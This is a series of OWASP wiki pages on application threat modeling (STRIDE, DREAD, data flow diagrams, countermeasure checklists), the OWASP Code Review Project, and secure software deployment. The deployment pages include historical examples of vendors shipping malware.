<td>A user who has connected to the college library website and is attempting to log in using invalid login credentials.</td>
</tr>

<tr bgcolor="#dddddd">
<td>4</td>
<td>Librarian</td>
<td>The librarian can create users on the library website and view their personal information.</td>
</tr>

<tr bgcolor="#cccccc">
<td>5</td>
<td>Database Server Administrator</td>
<td>The database server administrator has read and write access to the database that is used by the college library website.</td>
</tr>

<tr bgcolor="#dddddd">
<td>6</td>
<td>Website Administrator</td>
<td>The Website administrator can configure the college library website.</td>
</tr>

<tr bgcolor="#cccccc">
<td>7</td>
<td>Web Server User Process</td>
<td>This is the process/user that the web server executes code as and authenticates itself against the database server as.</td>
</tr>

<tr bgcolor="#dddddd">
<td>8</td>
<td>Database Read User</td>
<td>The database user account used to access the database for read access.</td>
</tr>

<tr bgcolor="#cccccc">
<td>9</td>
<td>Database Read/Write User</td>
<td>The database user account used to access the database for read and write access.</td>
</tr>
</table>
 

==Data Flow Diagrams==
All of the information collected allows us to accurately model the application through the use of Data Flow Diagrams (DFDs). The DFDs will allow us to gain a better understanding of the application by providing a visual representation of how the application processes data. The focus of the DFDs is on how data moves through the application and what happens to the data as it moves. DFDs are hierarchical in structure, so they can be used to decompose the application into subsystems and lower-level subsystems. The high level DFD will allow us to clarify the scope of the application being modeled. The lower level iterations will allow us to focus on the specific processes involved when processing specific data. There are a number of symbols that are used in DFDs for threat modeling. These are described below:

'''External Entity''' 
The external entity shape is used to represent any entity outside the application that interacts with the application via an entry point. 
[[Image:DFD_external_entity.gif]]
 

'''Process''' 
The process shape represents a task that handles data within the application. The task may process the data or perform an action based on the data. 
[[Image:DFD_process.gif]]
 

'''Multiple Process''' 
The multiple process shape is used to present a collection of subprocesses. The multiple process can be broken down into its subprocesses in another DFD. 
[[Image:DFD_multiple_process.gif]]
 

'''Data Store''' 
The data store shape is used to represent locations where data is stored. Data stores do not modify the data, they only store data. 
[[Image:DFD_data_store.gif]]
 

'''Data Flow''' 
The data flow shape represents data movement within the application. The direction of the data movement is represented by the arrow. 
[[Image:DFD_data_flow.gif]]
 
'''Privilege Boundary''' 
The privilege boundary shape is used to represent the change of privilege levels as the data flows through the application. 
[[Image:DFD_privilge_boundary.gif]]
 

===Example===
 '''Data Flow Diagram for the College Library Website'''
 
[[Image:Data flow1.jpg]]
 
'''User Login Data Flow Diagram for the College Library Website'''
 
[[Image:Data flow2.jpg]]
 

== Determine and Rank Threats ==
===Threat Categorization===
The first step in the determination of threats is adopting a threat categorization. A threat categorization provides a set of threat categories with corresponding examples so that threats can be systematically identified in the application in a structured and repeatable manner.

====STRIDE====
A threat categorization such as STRIDE is useful in the identification of threats by classifying attacker goals such as:
*Spoofing
*Tampering
*Repudiation
*Information Disclosure
*Denial of Service
*Elevation of Privilege.

A threat list of generic threats organized in these categories with examples and the affected security controls is provided in the following table:

 
<table align="center" cellspacing="1" CELLPADDING="7">

<tr bgcolor="#cccccc">
<th colspan="4" align="center">STRIDE Threat List</th>
</tr>

<tr bgcolor="#cccccc">
<th>Type</th>
<th>Examples</th>
<th>Security Control</th>
</tr>

<tr bgcolor="#cccccc">
<td>Spoofing</td>
<td>Threat action aimed to illegally access and use another user's credentials, such as username and password.</td>
<td>Authentication</td>
</tr>

<tr bgcolor="#cccccc">
<td>Tampering</td>
<td>Threat action aimed to maliciously change/modify persistent data, such as persistent data in a database, and the alteration of data in transit between two computers over an open network, such as the Internet.</td>
<td>Integrity</td>
</tr>

<tr bgcolor="#dddddd">
<td>Repudiation</td>
<td>Threat action aimed to perform illegal operations in a system that lacks the ability to trace the prohibited operations.</td>
<td>Non-Repudiation</td>
</tr>

<tr bgcolor="#cccccc">
<td>Information disclosure</td>
<td>Threat action to read a file that one was not granted access to, or to read data in transit. </td>
<td>Confidentiality</td>
</tr>

<tr bgcolor="#dddddd">
<td>Denial of service</td>
<td>Threat aimed to deny access to valid users, such as by making a web server temporarily unavailable or unusable.
</td>
<td>Availability</td>
</tr>

<tr bgcolor="#cccccc">
<td>Elevation of privilege</td>
<td>Threat aimed to gain privileged access to resources for gaining unauthorized access to information or to compromise a system.</td>
<td>Authorization</td>

</table>
 

==Security Controls==
Once the basic threat agents and business impacts are understood, the review team should try to identify the set of controls that could prevent these threat agents from causing those impacts. The primary focus of the code review should be to ensure that these security controls are in place, that they work properly, and that they are correctly invoked in all the necessary places. The checklist below can help to ensure that all the likely risks have been considered.

'''Authentication:'''
*Ensure all internal and external connections (user and entity) go through an appropriate and adequate form of authentication. Be assured that this control cannot be bypassed.
*Ensure all pages enforce the requirement for authentication.
*Ensure that whenever authentication credentials or any other sensitive information is passed, only accept the information via the HTTP “POST” method and will not accept it via the HTTP “GET” method.
*Any page deemed by the business or the development team as being outside the scope of authentication should be reviewed in order to assess any possibility of security breach.
*Ensure that authentication credentials do not traverse the wire in clear text form.
*Ensure development/debug backdoors are not present in production code.

'''Authorization: '''
*Ensure that there are authorization mechanisms in place.
*Ensure that the application has clearly defined the user types and the rights of said users.
*Ensure there is a least privilege stance in operation.
*Ensure that the Authorization mechanisms work properly, fail securely, and cannot be circumvented.
*Ensure that authorization is checked on every request.
*Ensure development/debug backdoors are not present in production code.

'''Cookie Management: '''
*Ensure that sensitive information is not comprised.
*Ensure that unauthorized activities cannot take place via cookie manipulation.
*Ensure that proper encryption is in use.
*Ensure secure flag is set to prevent accidental transmission over “the wire” in a non-secure manner.
*Determine if all state transitions in the application code properly check for the cookies and enforce their use.
*Ensure the session data is being validated.
*Ensure cookies contain as little private information as possible.
*Ensure entire cookie is encrypted if sensitive data is persisted in the cookie.
*Define all cookies being used by the application, their name, and why they are needed.

'''Data/Input Validation: '''
*Ensure that a DV mechanism is present.
*Ensure all input that can (and will) be modified by a malicious user such as HTP headers, input fields, hidden fields, drop down lists, and other web components are properly validated.
*Ensure that the proper length checks on all input exist.
*Ensure that all fields, cookies, http headers/bodies, and form fields are validated.
*Ensure that the data is well formed and contains only known good chars if possible.
*Ensure that the data validation occurs on the server side.
*Examine where data validation occurs and if a centralized model or decentralized model is used.
*Ensure there are no backdoors in the data validation model.
*'''Golden Rule: All external input, no matter what it is, is examined and validated. '''

'''Error Handling/Information leakage: '''
*Ensure that all method/function calls that return a value have proper error handling and return value checking.
*Ensure that exceptions and error conditions are properly handled.
*Ensure that no system errors can be returned to the user.
*Ensure that the application fails in a secure manner.
*Ensure resources are released if an error occurs.

'''Logging/Auditing: '''
*Ensure that no sensitive information is logged in the event of an error.
*Ensure the payload being logged is of a defined maximum length and that the logging mechanism enforces that length.
*Ensure no sensitive data can be logged; e.g. cookies, HTTP “GET” method, authentication credentials.
*Examine if the application will audit the actions being taken by the application on behalf of the client (particularly data manipulation/Create, Update, Delete (CUD) operations).
*Ensure successful and unsuccessful authentication is logged.
*Ensure application errors are logged.
*Examine the application for debug logging with the view to logging of sensitive data.

'''Cryptography: '''
*Ensure no sensitive data is transmitted in the clear, internally or externally.
*Ensure the application is implementing known good cryptographic methods.

'''Secure Code Environment: '''
*Examine the file structure. Are any components that should not be directly accessible available to the user?
*Examine all memory allocations/de-allocations.
*Examine the application for dynamic SQL and determine if it is vulnerable to injection.
*Examine the application for “main()” executable functions and debug harnesses/backdoors
*Search for commented out code, commented out test code, which may contain sensitive information.
*Ensure all logical decisions have a default clause.
*Ensure no development environment kit is contained on the build directories.
*Search for any calls to the underlying operating system or file open calls and examine the error possibilities.

'''Session Management: '''
*Examine how and when a session is created for a user, unauthenticated and authenticated.
*Examine the session ID and verify if it is complex enough to fulfill requirements regarding strength.
*Examine how sessions are stored: e.g. in a database, in memory etc.
*Examine how the application tracks sessions.
*Determine the actions the application takes if an invalid session ID occurs.
*Examine session invalidation.
*Determine how multithreaded/multi-user session management is performed.
*Determine the session HTTP inactivity timeout.
*Determine how the log-out functionality functions.

==Threat Analysis==
The prerequisite in the analysis of threats is the understanding of the generic definition of risk that is the probability that a threat agent will exploit a vulnerability to cause an impact to the application. From the perspective of risk management, threat modeling is the systematic and strategic approach for identifying and enumerating threats to an application environment with the objective of minimizing risk and the associated impacts.

Threat analysis as such is the identification of the threats to the application, and involves the analysis of each aspect of the application functionality and architecture and design to identify and classify potential weaknesses that could lead to an exploit.

In the first threat modeling step, we have modeled the system showing data flows, trust boundaries, process components, and entry and exit points. An example of such modeling is shown in the Example: Data Flow Diagram for the College Library Website.

Data flows show how data flows logically through the end to end, and allows the identification of affected components through critical points (i.e. data entering or leaving the system, storage of data) and the flow of control through these components. Trust boundaries show any location where the level of trust changes. Process components show where data is processed, such as web servers, application servers, and database servers. Entry points show where data enters the system (i.e. input fields, methods) and exit points are where it leaves the system (i.e. dynamic output, methods), respectively. Entry and exit points define a trust boundary.

Threat lists based on the STRIDE model are useful in the identification of threats with regards to the attacker goals. For example, if the threat scenario is attacking the login, would the attacker brute force the password to break the authentication? If the threat scenario is to try to elevate privileges to gain another user’s privileges, would the attacker try to perform forceful browsing?

It is vital that all possible attack vectors should be evaluated from the attacker’s point of view. For this reason, it is also important to consider entry and exit points, since they could also allow the realization of certain kinds of threats. For example, the login page allows sending authentication credentials, and the input data accepted by an entry point has to validate for potential malicious input to exploit vulnerabilities such as SQL injection, cross site scripting, and buffer overflows. Additionally, the data flow passing through that point has to be used to determine the threats to the entry points to the next components along the flow. If the following components can be regarded critical (e.g. the hold sensitive data), that entry point can be regarded more critical as well. In an end to end data flow, for example, the input data (i.e. username and password) from a login page, passed on without validation, could be exploited for a SQL injection attack to manipulate a query for breaking the authentication or to modify a table in the database.

Exit points might serve as attack points to the client (e.g. XSS vulnerabilities) as well for the realization of information disclosure vulnerabilities. For example, in the case of exit points from components handling confidential data (e.g. data access components), exit points lacking security controls to protect the confidentiality and integrity can lead to disclosure of such confidential information to an unauthorized user.

In many cases threats enabled by exit points are related to the threats of the corresponding entry point. In the login example, error messages returned to the user via the exit point might allow for entry point attacks, such as account harvesting (e.g. username not found), or SQL injection (e.g. SQL exception errors).

From the defensive perspective, the identification of threats driven by security control categorization such as ASF, allows a threat analyst to focus on specific issues related to weaknesses (e.g. vulnerabilities) in security controls. Typically the process of threat identification involves going through iterative cycles where initially all the possible threats in the threat list that apply to each component are evaluated.

At the next iteration, threats are further analyzed by exploring the attack paths, the root causes (e.g. vulnerabilities, depicted as orange blocks) for the threat to be exploited, and the necessary mitigation controls (e.g. countermeasures, depicted as green blocks). A threat tree as shown in figure 2 is useful to perform such threat analysis

[[Image:Threat_Graph.gif|Figure 2: Threat Graph]]

Once common threats, vulnerabilities, and attacks are assessed, a more focused threat analysis should take in consideration use and abuse cases. By thoroughly analyzing the use scenarios, weaknesses can be identified that could lead to the realization of a threat. Abuse cases should be identified as part of the security requirement engineering activity. These abuse cases can illustrate how existing protective measures could be bypassed, or where a lack of such protection exists. A use and misuse case graph for authentication is shown in figure below:

[[Image:UseAndMisuseCase.jpg|Figure 3: Use and Misuse Case]]

Finally, it is possible to bring all of this together by determining the types of threat to each component of the decomposed system. This can be done by using a threat categorization such as STRIDE or ASF, the use of threat trees to determine how the threat can be exposed by a vulnerability, and use and misuse cases to further validate the lack of a countermeasure to mitigate the threat.

To apply STRIDE to the data flow diagram items the following table can be used:

TABLE

==Ranking of Threats==
Threats can be ranked from the perspective of risk factors. By determining the risk factor posed by the various identified threats, it is possible to create a prioritized list of threats to support a risk mitigation strategy, such as deciding on which threats have to be mitigated first. Different risk factors can be used to determine which threats can be ranked as High, Medium, or Low risk. In general, threat risk models use different factors to model risks such as those shown in figure below:

[[Image:Riskfactors.JPG|Figure 3: Risk Model Factors]]

==DREAD==
In the Microsoft DREAD threat-risk ranking model, the technical risk factors for impact are Damage and Affected Users, while the ease of exploitation factors are Reproducibility, Exploitability and Discoverability. This risk factorization allows the assignment of values to the different influencing factors of a threat. To determine the ranking of a threat, the threat analyst has to answer basic questions for each factor of risk, for example:

*For Damage: How big the damage can be?
*For Reproducibility: How easy is it to reproduce an attack to work?
*For Exploitability: How much time, effort, and expertise is needed to exploit the threat?
*For Affected Users: If a threat were exploited, what percentage of users would be affected?
*For Discoverability: How easy is it for an attacker to discover this threat?

By referring to the college library website it is possible to document sample threats releated to the use cases such as:

'''Threat: Malicious user views confidential information of students, faculty members and librarians.'''
# '''Damage potential:''' Threat to reputation as well as financial and legal liability:8
# '''Reproducibility:''' Fully reproducible:10
# '''Exploitability:''' Require to be on the same subnet or have compromised a router:7
# '''Affected users:''' Affects all users:10
# '''Discoverability:''' Can be found out easily:10

Overall DREAD score: (8+10+7+10+10) / 5 = 9

In this case having 9 on a 10 point scale is certainly an high risk threat

==Generic Risk Model==
A more generic risk model takes into consideration the Likelihood (e.g. probability of an attack) and the Impact (e.g. damage potential):

'''Risk = Likelihood x Impact'''

The likelihood or probability is defined by the ease of exploitation, which mainly depends on the type of threat and the system characteristics, and by the possibility to realize a threat, which is determined by the existence of an appropriate countermeasure.

The following is a set of considerations for determining ease of exploitation:
# Can an attacker exploit this remotely?
# Does the attacker need to be authenticated?
# Can the exploit be automated?

The impact mainly depends on the damage potential and the extent of the impact, such as the number of components that are affected by a threat.

Examples to determine the damage potential are:
# Can an attacker completely take over and manipulate the system?
# Can an attacker gain administration access to the system?
# Can an attacker crash the system?
# Can the attacker obtain access to sensitive information such as secrets, PII

Examples to determine the number of components that are affected by a threat:
# How many data sources and systems can be impacted?
# How “deep” into the infrastructure can the threat agent go?

These examples help in the calculation of the overall risk values by assigning qualitative values such as High, Medium and Low to Likelihood and Impact factors. In this case, using qualitative values, rather than numeric ones like in the case of the DREAD model, help avoid the ranking becoming overly subjective.

==Countermeasure Identification==
The purpose of the countermeasure identification is to determine if there is some kind of protective measure (e.g. security control, policy measures) in place that can prevent each threat previosly identified via threat analysis from being realized. Vulnerabilities are then those threats that have no countermeasures. Since each of these threats has been categorized either with STRIDE or ASF, it is possible to find appropriate countermeasures in the application within the given category.

Provided below is a brief and limited checklist which is by no means an exhaustive list for identifying countermeasures for specific threats.

Example of countermeasures for ASF threat types are included in the following table:

<table align="center" cellspacing="1" CELLPADDING="7">
<tr bgcolor="#cccccc">
<th colspan="4" align="center">ASF Threat & Countermeasures List</th>
</tr>

<tr bgcolor="#cccccc">
<th>Threat Type</th>
<th>Countermeasure</th>
</tr>

<tr bgcolor="#cccccc">
<td>Authentication</td>
<td>
#Credentials and authentication tokens are protected with encryption in storage and transit
#Protocols are resistant to brute force, dictionary, and replay attacks
#Strong password policies are enforced
#Trusted server authentication is used instead of SQL authentication
#Passwords are stored with salted hashes
#Password resets do not reveal password hints and valid usernames
#Account lockouts do not result in a denial of service attack
</td>
</tr>

<tr bgcolor="#cccccc">
<td>Authorization</td>
<td>
#Strong ACLs are used for enforcing authorized access to resources
#Role-based access controls are used to restrict access to specific operations
#The system follows the principle of least privilege for user and service accounts
#Privilege separation is correctly configured within the presentation, business and data access layers</td>
</tr>

<tr bgcolor="#cccccc">
<td>Configuration Management</td>
<td>
#Least privileged processes are used and service accounts with no administration capability
#Auditing and logging of all administration activities is enabled
#Access to configuration files and administrator interfaces is restricted to administrators
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Data Protection in Storage and Transit</td>
<td>
#Standard encryption algorithms and correct key sizes are being used
#Hashed message authentication codes (HMACs) are used to protect data integrity
#Secrets (e.g. keys, confidential data ) are cryptographically protected both in transport and in storage
#Built-in secure storage is used for protecting keys
#No credentials and sensitive data are sent in clear text over the wire
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Data Validation / Parameter Validation</td>
<td>
#Data type, format, length, and range checks are enforced
#All data sent from the client is validated
#No security decision is based upon parameters (e.g. URL parameters) that can be manipulated
#Input filtering via white list validation is used
#Output encoding is used
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Error Handling and Exception Management</td>
<td>
#All exceptions are handled in a structured manner
#Privileges are restored to the appropriate level in case of errors and exceptions
#Error messages are scrubbed so that no sensitive information is revealed to the attacker

</td>
</tr>
<tr bgcolor="#cccccc">
<td>User and Session Management</td>
<td>
#No sensitive information is stored in clear text in the cookie
#The contents of the authentication cookies is encrypted
#Cookies are configured to expire
#Sessions are resistant to replay attacks
#Secure communication channels are used to protect authentication cookies
#User is forced to re-authenticate when performing critical functions
#Sessions are expired at logout
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Auditing and Logging</td>
<td>
#Sensitive information (e.g. passwords, PII) is not logged
#Access controls (e.g. ACLs) are enforced on log files to prevent un-authorized access
#Integrity controls (e.g. signatures) are enforced on log files to provide non-repudiation
#Log files provide for audit trail for sensitive operations and logging of key events
#Auditing and logging is enabled across the tiers on multiple servers
</td>
</tr>
</table>

When using STRIDE, the following threat-mitigation table can be used to identify techniques that can be employed to mitigate the threats.

<table align="center" cellspacing="1" CELLPADDING="7">
<tr bgcolor="#cccccc">
<th colspan="4" align="center">STRIDE Threat & Mitigation Techniques List</th>
</tr>

<tr bgcolor="#cccccc">
<th>Threat Type</th>
<th>Mitigation Techniques</th>
</tr>

<tr bgcolor="#cccccc">
<td>Spoofing Identity</td>
<td>
#Appropriate authentication
#Protect secret data
#Don't store secrets
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Tampering with data</td>
<td>
#Appropriate authorization
#Hashes
#MACs
#Digital signatures
#Tamper resistant protocols
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Repudiation</td>
<td>
#Digital signatures
#Timestamps
#Audit trails
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Information Disclosure</td>
<td>
#Authorization
#Privacy-enhanced protocols
#Encryption
#Protect secrets
#Don't store secrets
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Denial of Service</td>
<td>
#Appropriate authentication
#Appropriate authorization
#Filtering
#Throttling
#Quality of service
</td>
</tr>
<tr bgcolor="#cccccc">
<td>Elevation of privilege</td>
<td>
#Run with least privilege
</td>
</tr>
</table>

Once threats and corresponding countermeasures are identified it is possible to derive a threat profile with the following criteria:

# '''Non mitigated threats:''' Threats which have no countermeasures and represent vulnerabilities that can be fully exploited and cause an impact
# '''Partially mitigated threats:''' Threats partially mitigated by one or more countermeasures which represent vulnerabilities that can only partially be exploited and cause a limited impact
# '''Fully mitigated threats:''' These threats have appropriate countermeasures in place and do not expose vulnerability and cause impact

===Mitigation Strategies===
The objective of risk management is to reduce the impact that the exploitation of a threat can have to the application. This can be done by responding to a theat with a risk mitigation strategy. In general there are five options to mitigate threats
# '''Do nothing:''' for example, hoping for the best
# '''Informing about the risk:''' for example, warning user population about the risk
# '''Mitigate the risk:''' for example, by putting countermeasures in place
# '''Accept the risk:''' for example, after evaluating the impact of the exploitation (business impact)
# '''Transfer the risk:''' for example, through contractual agreements and insurance

The decision of which strategy is most appropriate depends on the impact an exploitation of a threat can have, the likelihood of its occurrence, and the costs for transferring (i.e. costs for insurance) or avoiding (i.e. costs or losses due redesign) it. That is, such decision is based on the risk a threat poses to the system. Therefore, the chosen strategy does not mitigate the threat itself but the risk it poses to the system. Ultimately the overall risk has to take into account the business impact, since this is a critical factor for the business risk management strategy. One strategy could be to fix only the vulnerabilities for which the cost to fix is less than the potential business impact derived by the exploitation of the vulnerability. Another strategy could be to accept the risk when the loss of some security controls (e.g. Confidentiality, Integrity, and Availability) implies a small degradation of the service, and not a loss of a critical business function. In some cases, transfer of the risk to another service provider might also be an option.

[[Category:OWASP Code Review Project]]

Category:OWASP Code Review Project

2009-05-04T12:51:43Z

KirstenS: /* Code review tool */

{{OWASP Book|5678680}}
{{:Project Information:template Code Review Project}}
[[Category:OWASP Project]]
[[Category:OWASP Document]]
[[Category:OWASP Download]]
[[Category:OWASP Release Quality Document]]

==Contents==
[[OWASP Code Review Guide Table of Contents]]

==Summer of Code 2008==
The Code review guide is proudly sponsored by the OWASP Summer of Code (SoC) 2008. For more information please see [[OWASP_Summer_of_Code_2008| OWASP Summer of Code 2008]].

== Code Review Guide V1.1 Completed ==
The code review guide has been completed and is available here http://www.lulu.com/content/5678680 as a bound book.

==Code review tool==
The following link is for the new version of Code Crawler, code review tool which examines code for keywords discussed in the section "[[Crawling Code]]" It has a new look and feel and also uses MS SQL Server express.

you can find it here: 

http://www.cyphersec.com/software_archive/CodeCrawler.rar It's a lightweight tool and undergoing constant development. 

Source code can be found here:
http://www.cyphersec.com/software_archive/OWASP_Code_Crawler.zip

== Owasp Orizon Code review engine ==

The Owasp Orizon Project is born in 2006 to provide a set of APIs to provide an opensource engine to provide static analysis services to developers that wants to build a code review tool.

The Owasp Orizon will evolve accordingly in order to implement security checks described in the Code Review Guide.
With the framework a UI is also provided in order to give people a standalone tool to realize code review for the security flaws listed in the "[[The Owasp Code Review Top 9]]"

The Owasp Orizon main page is available here: [[:Category:OWASP_Orizon_Project]]

Source code is hosted at Sourceforge.net site: http://orizon.sourceforge.net

== Spring Of Code 2007 ==
The Code review guide is proudly sponsored by the OWASP Spring of Code (SpOC) 2007.
For more information please see [[OWASP_Spring_Of_Code_2007|Spring of Code 2007]]

== Project Contributors ==

The OWASP Code Review project was conceived by Eoin Keary, the OWASP Ireland Founder and Chapter Lead. We are actively seeking individuals to add new sections as new web technologies emerge. If you are interested in volunteering for the project, or have a comment, question, or suggestion, please drop me a line mailto:eoin.keary@owasp.org

==Join the Code Review Team==

All of the OWASP Guides are living documents that will continue to change as the threat and security landscape changes. 

We welcome everyone to join the Code Review Guide Project and help us make this document great. The best way to get started is to subscribe to the mailing list by following the link below. Please introduce yourself and ask to see if there is anything you can help with. We are always looking for new contributions. If there is a topic that you’d like to research and contribute, please let us know! 

http://lists.owasp.org/mailman/listinfo/owasp-codereview

==Roadmap==

View the [[OWASP Code Review Project Roadmap]]

Deployment

2009-05-04T12:30:13Z

KirstenS:

{{Template:Stub}}
 
[[Guide Table of Contents| Development Guide Table of Contents]]__TOC__

Deployment is the first and sometimes the only experience system administrators will have with your application. Customers who buy or use your application appreciate the lower costs of securely deployed software – if their system administrators do not have to spend hours or days securing your software, they are far more likely to choose your software over an insecure competitor.

Ease of deployment is a key consideration for many highly available or highly changeable systems. Systems have a special knack of buying the farm at 3 am Monday morning before the busiest day of the year. If your application can be trivially installed at 3 am by tired and emotional system administrators, they will remember you fondly when the time comes for new software or the next version. The worst case alternative is that your customers may not be around if your software takes three days to install.

Secure deployment is essential for high value systems. High value systems require controls in excess of basic software. This chapter guides you through packaging and deployment issues.

==Objective ==

To ensure that the application is deployed as easily and as securely as possible.

==Platforms Affected ==

All.

==Best Practices ==

* Software should have automated installers and provide automated uninstallers

* Software should deploy using a least privilege security model

* Software should not expose any secrets once installed

* Documentation should not contain any default accounts, nor should the installer contain any pre-chosen or default accounts

* Every configuration parameter must to be findable

==Release Management ==

Release management is a formal process designed to ensure that applications are released in a tested and controlled fashion.

===How to identify if you are vulnerable ===

Is there release management in place? If so, does it cover?

* Deployment testing

* Acceptance testing

===How to protect yourself ===

* Read software quality assurance references

* Write deployment instructions

* Eliminate all steps that can be automated

* Implement a deployment acceptance test

==Secure delivery of code ==

Attackers have been known to send malicious code to end users, so it is vital that your users and customers can obtain your software in a secure fashion.

===How to identify if you are vulnerable ===

Secure delivery of code is relatively simple to test, and even easier to rectify.

* Pretend to be a normal customer. Obtain your software in the usual fashion.

* Was it obtained from a retailer or other distributor in hard format? If so, does the software contain instructions on how to validate it against legitimate deliveries?

* Does the media contain any viruses or harmful code?

* Was it obtained from a third party download site? If so, does it contain an accurate link back to your site?

===How to protect yourself ===

Secure

==Code signing ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Permissions are set to least privilege ==
Application owner must to use a different user than sys admin. Only sys admin have access to root password.
===How to identify if you are vulnerable ===
* every employee can access with root/admin user
*deployment procedures want system privileges
* live application want system privileges to start
===How to protect yourself ===
* create one user for every application
* every application must uses least privileges
* deploy and start command does not use root/admin privileges

==Automated packaging ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Automated deployment ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Automated removal ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==No backup or old files ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Unnecessary features are off by default ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==Setup log files are clean ==

===How to identify if you are vulnerable ===

===How to protect yourself ===

==No default accounts ==

===How to identify if you are vulnerable ===
* Identify the default user accounts that are standard with the product you are using.
* Run periodic tests to ensure none of the accounts you identify are enabled or exist.

===How to protect yourself ===
* Never generate common or default credentials.
* Always remove any default user accounts from the server and applications prior to deployment.

==Easter eggs ==

Easter eggs are mostly small (but sometimes not) hidden features. Often they will contain the developers' names or activate hidden advanced or developer features, but occasionally, they are more like mini-applications. For the most part, they have no business function.

''Figure 7 Adobe InDesign CS SVG Easter Egg''

Easter eggs are fairly popular with developers, but they are problematic from a software engineering and legal view point. Unless easter eggs have been sufficiently designed and tested, easter eggs can cause the application to crash or misbehave. For example, Word 97 contained a pinball game and Excel 97 contained a small flight simulator. If these crashed with unsaved data, the application is not acting within design parameters, opening up liability.

However, there is a case for including debug functionality, as long as it is tested, not enabled by default, and is documented within the user or administration manual.

===How to identify if you are vulnerable ===

===It’s almost impossible to prevent clever ===

===How to protect yourself ===

==Malicious software ==

The delivery of software is littered with examples of software delivered with something more than the users bargained for.

Examples include:

* Sony delivered First 4 Internet's XCP (Extended Copy Protection) rootkit on millions of audio disks, infecting at least half a million PCs. Major legal problems have ensued, and set copy prohibition technologies back at least five years

* Microsoft through a lack of a quality assured distribution process (now resolved), distributed viruses on multiple occasions, such as the Word macro viruses Concept and Wazzu

* Microsoft partner and premium support web sites were distributing Hotfixes with the FunLove virus in 2001

* Hewlett-Packard had the FunLove virus on their web site, in 2000 and also 2006. Though in 2006 it was a printer that was no longer made and the Korean version of Windows 95 drivers for it, so not as big a deal as in 2000

* Linux kernel with a backdoor was submitted to CVS tree in November 2003. It was spotted (by Larry McVoy) because it had been placed directly into CVS, not via BitKeeper

These examples show that distributing malicious software can be highly embarrassing, extremely expensive (in Sony’s case, hundreds of millions of dollars) to resolve, and they are often truly trivial to prevent.

In the past, there has been a lot of confusion over the legal status of 'spyware' (e.g. software written so a boss can monitor his employees) and 'adware' (e.g. software written to collect and send back how many of a companies sites have been surfed to, or change keywords in search results). Often they have been distributed with free software, and the user has agreed in often vague and deliberately verbose legal agreements, that they can be installed on their system. Usually the adware is mentioned as a method to 'boost' the user's ability to use a shopping network, or it's mentioned that information might be sent back to 'assist in our marketing' or that of partners. This makes it sound as if it's akin to Web cookies, and that there'll be very little effect on system performance, and no privacy issues over what is sent back. However now that the public are becoming more aware of adware, the legal distinctions are clearer, and the IT security community are quickly learning which companies that write adware are prepared to play ball, make their warning notices more useful, make their software less covert, etc. and which are continuing to write software that violates the user's privacy and drains system resources.

In most countries, it is now illegal to create, distribute, and use software that acts in a surreptitious and devious manner. Users will remember any vendor attempting such criminal sabotage and never buy from such vendors again. Sony is an excellent case of this; the rootkit scandal has done their reputation a great deal of damage. In Australia, such criminal acts are punishable with fines of up to $250,000 per infected computer, and up to 10 years imprisonment. Similar statutes and punishments exist in most countries.

'''OWASP is not a source of legal advice; if you think your software flies close to the wind, you must seek competent legal opinion. Even better, do not create or distribute such software. Karma will bite you on the flip side. '''

===How to identify if you are vulnerable ===

Does your software contain any malicious code, which performs unauthorized or damaging activity? This could be code like Sony’s root kit. If so remove it.

Did you check your final software image for known:

* viruses using at least one up to date virus scanner?

* spyware using at least one up to date spyware scanner?

You may also wish to check for rootkits as there are specific tools now available to do that, at least on the Windows and Unix platforms.

Be aware that there are many free spyware scanners available which are not to be trusted. They may surreptitiously install spyware, then when they 'find' it,
advise that you need to buy the commercial version to be able to remove it. This situation will hopefully improve now that more antivirus and security software companies are building integrated solutions that detect spyware as well as viruses and worms. In the meantime, stick with the more well-known spyware detection software.

Is it possible for an auditor to determine when this scan took place?

===How to protect yourself ===

Do not create or distribute malicious software – it is illegal in most countries.

Scan your final distribution images and media with at least one up to date virus scanner and at least one spyware checker. Document in your manual the date of this scan and the software used.

==Further Reading ==

===Deploying applications ===

* (PHP) Deploying PHP web applications with Ant:

http://www.onlamp.com/pub/a/php/2005/12/20/php_ant.html

* (J2EE) Deploying for the web using Ant:

http://www.onjava.com/pub/a/onjava/excerpt/AntTDG_chap8/index.html

http://www.onjava.com/pub/a/onjava/excerpt/AntTDG_chap8/index1.html

* (Apple MacOS X) Package Maker

http://developer.apple.com/tools/installerpolicy.html

* (Many Linux distros) Redhat Package Manager (RPM)

http://www.rpm.org/

* (Fedora and Red Hat Enterprise Linux) Yellowdog Update Manager (YUM)

http://linux.duke.edu/projects/yum/

* (Debian, and MacOS X using Fink) Advanced Packaging Tool

http://www.debian.org/doc/manuals/apt-howto/index.en.html

* (Solaris) Application Packaging Developer’s Guide

http://docs.sun.com/app/docs/doc/806-7008/

* (Solaris) Blastwave is a project to encourage sharing of free software for Solaris 8, 9 and 10. Also called Community Software for Solaris (CSW); the end-user uses the pkg-get tool to install packages.

http://www.blastwave.org/

* (FreeBSD) Ports and Packages Collection

http://www.freebsd.org/ports/index.html

* (Win32, .NET, any framework where xcopy works as a deployment tool)

Microsoft Windows Installer XML (wix), a free Windows installer creator

http://sourceforge.net/projects/wix

===Examples of bad deployment practices ===

Sony’s root kit settlement will cost Sony more than $150 million and seriously set back their anti-consumer copy prohibition agenda

* Sony, Rootkits and Digital Rights Management Gone Too Far:

http://www.sysinternals.com/blog/2005/10/sony-rootkits-and-digital-rights.html

* Sony has a voluntary recall program for XCP infected disks:

http://cp.sonybmg.com/xcp/

* Settlement details of at least ten class action lawsuits against Sony:

http://www.eff.org/IP/DRM/Sony-BMG/

* Microsoft distributes macro viruses on CD

http://www.f-secure.com/v-descs/wazzu.shtml

==Links==
[[Guide Table of Contents| Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Activity]]
[[Category:Deployment]]

Deployment

2009-05-04T12:25:53Z

